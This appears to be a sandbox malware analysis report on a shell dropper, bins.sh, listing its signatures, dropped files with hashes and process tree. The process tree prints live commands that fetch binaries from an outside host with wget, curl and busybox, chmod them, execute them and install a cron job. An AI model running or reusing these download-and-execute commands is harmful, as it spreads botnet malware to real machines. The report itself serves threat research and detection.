Overview

overview

8

Static

static

1

bins.sh

ubuntu-18.04-amd64

3

bins.sh

debian-9-armhf

4

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    06/11/2024, 14:42

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241106-r2z4fsserr
  • SHA256 6d07bf7341cf64d238f61e4f5dc6f0724320b76af288927d392a4f7d0d72a147
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (1759) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 18 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:714
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:718
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:737
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:741
        • /bin/chmod
          chmod 777 4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • File and Directory Permissions Modification
          PID:742
        • /tmp/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          ./4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • Executes dropped EXE
          PID:743
        • /bin/rm
          rm 4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:747
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:762
          • /bin/chmod
            chmod 777 clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
            • File and Directory Permissions Modification
            PID:768
          • /tmp/clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            ./clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
            • Executes dropped EXE
            PID:769
          • /bin/rm
            rm clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
              PID:773
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:774
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:782
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:790
            • /bin/chmod
              chmod 777 py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • File and Directory Permissions Modification
              PID:798
            • /tmp/py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              ./py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • Executes dropped EXE
              • System Network Configuration Discovery
              PID:799
            • /bin/rm
              rm py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • System Network Configuration Discovery
              PID:803
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:805
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:808
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:810
            • /bin/chmod
              chmod 777 B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
              • File and Directory Permissions Modification
              PID:811
            • /tmp/B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              ./B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
              • Executes dropped EXE
              PID:812
            • /bin/rm
              rm B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
                PID:814
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:815
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:818
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:846
              • /bin/chmod
                chmod 777 QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                2⤵
                • File and Directory Permissions Modification
                PID:849
              • /tmp/QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                ./QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:850
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:852
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:853
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:854
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:855
                  • /bin/rm
                    rm QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                    2⤵
                      PID:857
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                      2⤵
                      • System Network Configuration Discovery
                      PID:860

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
                        • Path /tmp/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
                        • Size 127KB
                        • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
                        • Path /tmp/B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
                        • Size 141KB
                        • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                        • Path /tmp/QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                        • Size 151KB
                        • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
                        • Path /tmp/clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
                        • Size 111KB
                        • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
                        • Path /tmp/py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
                        • Size 122KB
                        • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        tmp.HtjQfa
                        • Path /var/spool/cron/crontabs/tmp.HtjQfa
                        • Size 210B
                        • SHA256 e83092dbd85f803a7971da6bb440996506d2d25e0116cadc8c3f89b0f9ab069e
                        • MD5 SHA1 SHA512
                        Submit Download